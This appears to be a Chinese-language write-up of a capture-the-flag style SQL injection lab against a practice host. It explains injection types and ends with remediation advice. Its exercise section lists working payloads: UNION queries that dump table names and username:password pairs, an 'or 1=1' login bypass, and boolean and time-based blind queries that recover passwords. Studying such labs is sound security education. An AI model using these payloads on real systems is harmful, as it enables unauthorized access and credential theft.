SQL(结构化查询语言)注入,通常称为 SQLi,是对 Web 应用程序数据库服务器的攻击,导致执行恶意查询。当 Web 应用程序使用未经正确验证的用户输入与数据库进行通信时,攻击者有可能窃取、删除或更改私人数据和客户数据,并攻击 Web 应用程序身份验证方法以获取私有数据。或客户区。这就是为什么SQLi是最古老的 Web 应用程序漏洞之一,而且也可能是最具破坏性的。
什么是SQL注入?
当用户提供的数据包含在SQL查询中时,使用SQL 的Web 应用程序可能会变成SQL注入
它是什么样子的?
以下面的场景,你遇到了一个博客,并且每个条目都有一个唯一的 ID 号。每个博客条目的 URL 如下所示:
https://website.thm/blog?id=1
从上面的 URL 中,您可以看到所选的博客条目来自查询字符串中的 id 参数。
SELECT * from blog where id=1 and private=0 LIMIT 1;
上面的 SQL 语句正在查找博客表中一篇文章的 id 号为 1,私有列设置为 0
正如本任务开始时提到的,当用户输入被引入到数据库查询中时,就会引入SQL注入。
让我们假设文章 ID 2 仍被锁定为私有,因此无法在网站上查看。我们现在可以调用 URL:
https://website.thm/blog?id=2;--
然后,这将生成SQL语句:
SELECT * from blog where id=2;-- and private=0 LIMIT 1;
URL 中的分号表示SQL语句的结束,两个破折号导致后面的所有内容都被视为注释。
SELECT * from blog where id=2;--
无论是否设置为公开,都会返回 ID 为 2 的文章。
sql注入种类
基于错误的注入:攻击者利用应用程序返回的错误消息来获取关于数据库结构和数据的信息。
基于联合查询的注入:攻击者通过在原始查询中添加 UNION 操作来合并其他查询的结果。
基于时间延迟的注入:攻击者利用数据库延迟函数来确定是否存在注入漏洞。
基于布尔逻辑的注入:攻击者利用应用程序对查询结果的布尔响应来推断出数据库中的信息。
盲注入:在没有直接返回数据的情况下进行注入攻击
堆叠查询:攻击者在一次数据库请求中执行多个查询。
练习
#1
可以看见一个登录网页
更改url开始注入
判断字段报错
https://website.thm/article?id=0 UNION SELECT 1,2,3
爆2和3
判断数据库
https://website.thm/article?id=1 and 1=2 UNION SELECT 1,2,database()
爆出数据库为sqli_one
查表
0 UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'sqli_one'
根据题目,继续看staff_users表
查列名
https://website.thm/article?id=0 UNION SELECT 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_name = 'staff_users'
爆数据
https://website.thm/article?id=0 UNION SELECT 1,2,group_concat(username,':',password SEPARATOR '<br>') FROM staff_users
成功
#2
万能密码直接过
admin' or 1=1 #
#3
基于布尔盲注
此题没有任何报错显示,只有页面上的Ture 和 False
确定列数,发现只有3没报错,列数为3
https://website.thm/checkuser?username=admin123' UNION SELECT 1,2,3;--
通过模糊查询查表名,列名,账号密码
admin123' UNION SELECT 1,2,3 where database() like 's%';--#得到数据库名sqli_three
admin123' UNION SELECT 1,2,3 FROM information_schema.tables WHERE table_schema = 'sqli_three' and table_name like 'a%';--#得到表名users
admin123' UNION SELECT 1,2,3 FROM information_schema.tables WHERE table_schema = 'sqli_three' and table_name='users';--#验证表名
admin123' UNION SELECT 1,2,3 FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='sqli_three' and TABLE_NAME='users' and COLUMN_NAME like 'a%';#得到列名为username和password
admin123' UNION SELECT 1,2,3 from users where username='admin' and password like 'a%;#得到密码为3845
#4
基于时间盲注
查询后,不会给你报错或显示正确与否,但可以通过时间判断是否成功
admin123' UNION SELECT SLEEP(5),2;--
此有效负载应产生 5 秒的延迟,确认 UNION 语句成功执行并且有两列。
其他步骤和基于布尔注入相同。只是判断成功从布尔成了反应时间
数据库为sqli_four
表为users
username为 admin
password为 4961
https://website.thm/analytics?referrer=admin123' UNION SELECT SLEEP(2),2 from users where username='admin' and password like '4961%' --
联合时间注入
联合时间SQL 注入并不常见,因为它取决于数据库服务器上启用的特定功能或 Web 应用程序的业务逻辑,后者根据SQL查询的结果进行某种外部网络调用。
通过具有两种不同的通信通道进行分类,一个用于发起攻击,另一个用于收集结果。例如,攻击通道可能是 Web 请求,数据收集通道可能正在监视对您控制的服务发出的HTTP / DNS请求。
1) 攻击者使用注入负载向易受SQL注入攻击的网站发出请求。
2) 网站对数据库进行 SQL 查询,这也传递了黑客的有效负载。
3) 有效负载包含一个请求,该请求强制将包含数据库数据的 HTTP 请求返回到黑客的计算机。
补救措施
准备好的语句(带有参数化查询):
在准备好的查询中,开发人员首先编写的是 SQL 查询,然后将所有用户输入添加为参数。编写准备好的语句可以确保 SQL 代码结构不会改变,并且数据库可以区分查询和数据。作为一个好处,它还使你的代码看起来更干净且更易于阅读。
输入验证:
输入验证可以在很大程度上保护SQL查询中输入的内容。使用允许列表可以将输入限制为仅某些字符串,或者编程语言中的字符串替换方法可以过滤您希望允许或禁止的字符。
转义用户输入:
允许用户输入包含诸如 ' " $ \ 之类的字符可能会导致 SQL 查询中断,或者更糟糕的是,正如我们所知,它们会受到注入攻击。转义用户输入的方法是在这些查询前面添加反斜杠 ( \ )字符,然后导致它们被解析为常规字符串而不是特殊字符。
网友评论